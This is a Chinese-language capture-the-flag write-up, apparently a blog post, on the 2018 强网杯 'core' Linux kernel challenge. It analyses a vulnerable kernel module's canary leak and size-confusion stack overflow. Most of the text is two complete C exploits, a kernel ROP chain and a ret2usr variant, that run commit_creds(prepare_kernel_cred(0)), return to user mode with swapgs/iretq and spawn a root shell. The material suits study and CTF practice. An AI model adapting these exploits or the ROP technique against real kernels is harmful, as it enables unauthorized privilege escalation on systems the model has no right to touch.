Kernel ROP+USR
2022-04-02 14:32:20

Kernel ROP+USR

kernel ROP - 2018 强网杯 - core

前置准备:

题目提供:

vmlinux介绍:是静态编译,未经过压缩的kernel文件

==》可以通过vmlinux寻找gadget

(若题目没有提供vmlinux,可以通过extrace-vmlinux提取)

解压core.cpio:

init介绍:镜像初始化脚本

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
#将kallsyms的内容保存至/tmp/kallsyms中
#可以从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的函数地址
echo 1 > /proc/sys/kernel/kptr_restrict
#kptr_restrict设置为1==》不能通过/proc/kallsyms查看函数地址
echo 1 > /proc/sys/kernel/dmesg_restrict
#dmesg_restrict设置为1==》不能通过dmesg查看kernel信息
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
#设置了定时关机,直接注释即可
setsid /bin/cttyhack setuidgid 1000 /bin/sh
#修改成root启动,方便调试
#setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

删除自动关机,重新打包

运行内核(修改一下start.sh中分配的内存,64不够,128即可)

查看加载的驱动:

检查驱动:

静态分析:

1、初始化模块:

注册了/proc/core

2、删除模块:

删除/proc/core

3、core_ioctl():

设备通信

调用了

core_read() , core_copy_func() , 设置了全局变量off

4、core_read():

canary在rsp+0x40,==》将off设置为0x40==》泄漏canary

5、core_copy_func():

==》出现栈溢出漏洞点:

qword占8个字节==>signed __int64==>

qmemcpy使用的是unsigned __int16==>

栈溢出

6、core_write():

==>向全局变量name上写入

思路分析:

通过core_write()和core_copy_func()控制ropchuain

==》通过ioctl设置off,通过core_read()leak出canary

==》通过core_write()向name中写,构造ropchain

==》通过core_copy_func()从name向局部变量上写,通过设置合理的长度和canary进行rop

==》通过rop执行commit_creds(prepare_kernel_cred(0))

===》在/proc/kallsyms中保存了地址,直接读取===》根据偏移固定确定gadget的地址

==》返回用户态system(‘/bin/sh’)

===》返回用户态:

1、通过swapgs指令恢复用户态GS值

2、通过sysretq或者iretq指令恢复到用户控件继续执行

==》使用iretq还需要设置用户空间的信息:CS,eflags/rflags,esp/rsp等

// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

// at&t flavor assembly
void save_stats() {
asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %3\n"
    "pushfq\n"
    "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
    :
    : "memory"
);
}

==》通过ropper获取gadget:

ropper --file vmlinux --nocolor > gadget

==》查找gadget

grep -n '^.\{20\}pop rdi; ret;' gadget

grep -n '^.\{20\}pop rdx; ret;' gadget
grep -n '^.\{20\}pop rcx; ret;' gadget

grep -n '^.\{20\}mov rdi, rax; call rdx;' gadget

grep -n '^.\{20\}swapgs; popfq; ret' gadget

grep -n '^.\{20\}iretq;' gadget

grep -n '^.\{20\}mov rdi, rax; jmp rdx;' gadget

在/tmp/kasssyms中寻找commit_creds和prepare_kernel_cred:

ROP exp

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

//调用/bin/sh
void getshell()
{
    if(!getuid())
    { 
        system("/bin/sh");
    }
    else
    {
        puts('[*]spawn shell error');
    }
    exit(0);
}


size_t commit_creds=0,prepare_kernel_cred=0;

size_t vmlinux_base = 0;

size_t raw_vmlinux_base = 0xffffffff81000000;//提供的vmlinux基地址

//在/tmp/kallsyms中寻找commit_creds和prepare_kernel_cred
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms","r");
    //打开文件
    //打开文件失败
    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error");
        exit(0);
    }

    char buf[0x30]={0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;
        //在读取的文件中寻找commit_creds
        if(strstr(buf,"commit_creds") && !commit_creds)
        {
            char hex[20]={0};
            strncpy(hex,buf,16);
            sscanf(hex,"%llx", &commit_creds);
            printf("commit_creds addr: %p\n",commit_creds);
            vmlinux_base=commit_creds-0x9c8e0;
            printf("vmlinux_base addr :%p\n",vmlinux_base);
        }
        //在读取的文件中寻找prepare_kernel_cred
        if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            char hex[20]={0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx",&prepare_kernel_cred);
            printf("[*]prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
            vmlinux_base=prepare_kernel_cred-0x9cce0;
            printf("vmlinux_base addr: %p\n",vmlinux_base);
        }   
    }

    if (!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]error!");
        exit(0);
    }
}

//返回用户态布置
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
//设置off
void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n",idx);
    ioctl(fd,0x6677889C,idx);
}
//core_read泄漏canary
void core_read(int fd,char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B,buf);
}
//栈溢出
void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n",size);
    ioctl(fd,0x6677889A,size);
}

int main()
{
    save_status();
    int fd=open("/proc/core",2);
    if (fd<0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }

    find_symbols();
    
    ssize_t offset=vmlinux_base-raw_vmlinux_base;

    set_off(fd,0x40);//off设置为0x40

    char buf[0x40]={0};
    core_read(fd,buf);

    size_t canary=((size_t *)buf)[0];//通过core_read获得canary
    printf("[*]canary: %p\n",canary);

    size_t rop[0x1000]={0};

    int i;
    for (i = 0; i < 10; i++)//填充至canary
    {
        rop[i]=canary;
    }
    //prepare_kernel_cred(0)
    rop[i++]=0xffffffff81000b2f + offset;//pop rdi; ret
    rop[i++]=0;
    rop[i++]=prepare_kernel_cred;
	//返回值赋给rax
    //将commit_creds地址赋给rdx
    rop[i++]=0xffffffff810a0f49 + offset;//pop rdx; ret
    //rop[i++]=0xffffffff81021e53 + offset;//pop rcx; ret
    //rop[i++]=0xffffffff8101aa6a + offset;//mov rdi, rax; call rdx;
    rop[i++]=commit_creds;
    //将返回值给rdi,并跳转至rdx执行
    //commit_creds(prepare_kernle_cred(0))
	rop[i++]=0xffffffff8106a6d2 + offset;//mov rdi, rax; jmp rdx;
    
    //swapgs==》itetq
    rop[i++]=0xffffffff81a012da + offset;//swapgs; popfq; ret
    rop[i++]=0;

    rop[i++]=0xffffffff81050ac2 + offset;//iretq; ret;

    rop[i++]=(size_t)getshell;    //rip

    rop[i++]=user_cs;
    rop[i++]=user_rflags;
    rop[i++]=user_sp;
    rop[i++]=user_ss;

    write(fd,rop,0x800);
    core_copy_func(fd,0xffffffffffff0000 | (0x100));

    return 0;
}

USR exp

通过在用户态构造commit_creds(prepare_kernel_cred(0))

注意点:

不能直接构造commit_creds(prepare_kernel_cred(0))==>

必须根据函数原型进行正确的函数指针声明再通过函数指针调用

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

//调用/bin/sh
void getshell()
{
    if(!getuid())
    { 
        system("/bin/sh");
    }
    else
    {
        puts('[*]spawn shell error');
    }
    exit(0);
}


size_t commit_creds=0,prepare_kernel_cred=0;

size_t vmlinux_base = 0;

size_t raw_vmlinux_base = 0xffffffff81000000;//提供的vmlinux基地址

//在/tmp/kallsyms中寻找commit_creds和prepare_kernel_cred
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms","r");
    //打开文件
    //打开文件失败
    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error");
        exit(0);
    }

    char buf[0x30]={0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;
        //在读取的文件中寻找commit_creds
        if(strstr(buf,"commit_creds") && !commit_creds)
        {
            char hex[20]={0};
            strncpy(hex,buf,16);
            sscanf(hex,"%llx", &commit_creds);
            printf("commit_creds addr: %p\n",commit_creds);
            vmlinux_base=commit_creds-0x9c8e0;
            printf("vmlinux_base addr :%p\n",vmlinux_base);
        }
        //在读取的文件中寻找prepare_kernel_cred
        if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            char hex[20]={0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx",&prepare_kernel_cred);
            printf("[*]prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
            vmlinux_base=prepare_kernel_cred-0x9cce0;
            printf("vmlinux_base addr: %p\n",vmlinux_base);
        }   
    }

    if (!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]error!");
        exit(0);
    }
}

//返回用户态布置
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
//设置off
void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n",idx);
    ioctl(fd,0x6677889C,idx);
}
//core_read泄漏canary
void core_read(int fd,char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B,buf);
}
//栈溢出
void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n",size);
    ioctl(fd,0x6677889A,size);
}

//在用户态构造commit_creds(prepare_kernel_cred(0))
void get_root()
{
    char* (*pkc)(int)=prepare_kernel_cred;
    void (*cc)(char*)=commit_creds;
    (*cc)((*pkc)(0));//使用指针调用
}


int main()
{
    save_status();
    int fd=open("/proc/core",2);
    if (fd<0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }

    find_symbols();
    
    ssize_t offset=vmlinux_base-raw_vmlinux_base;

    set_off(fd,0x40);//off设置为0x40

    char buf[0x40]={0};
    core_read(fd,buf);

    size_t canary=((size_t *)buf)[0];//通过core_read获得canary
    printf("[*]canary: %p\n",canary);

    size_t rop[0x1000]={0};

    int i;
    for (i = 0; i < 10; i++)//填充至canary
    {
        rop[i]=canary;
    }
    rop[i++]=(size_t)get_root;
    //swapgs==》itetq
    rop[i++]=0xffffffff81a012da + offset;//swapgs; popfq; ret
    rop[i++]=0;

    rop[i++]=0xffffffff81050ac2 + offset;//iretq; ret;

    rop[i++]=(size_t)getshell;    //rip

    rop[i++]=user_cs;
    rop[i++]=user_rflags;
    rop[i++]=user_sp;
    rop[i++]=user_ss;

    write(fd,rop,0x800);
    core_copy_func(fd,0xffffffffffff0000 | (0x100));

    return 0;
}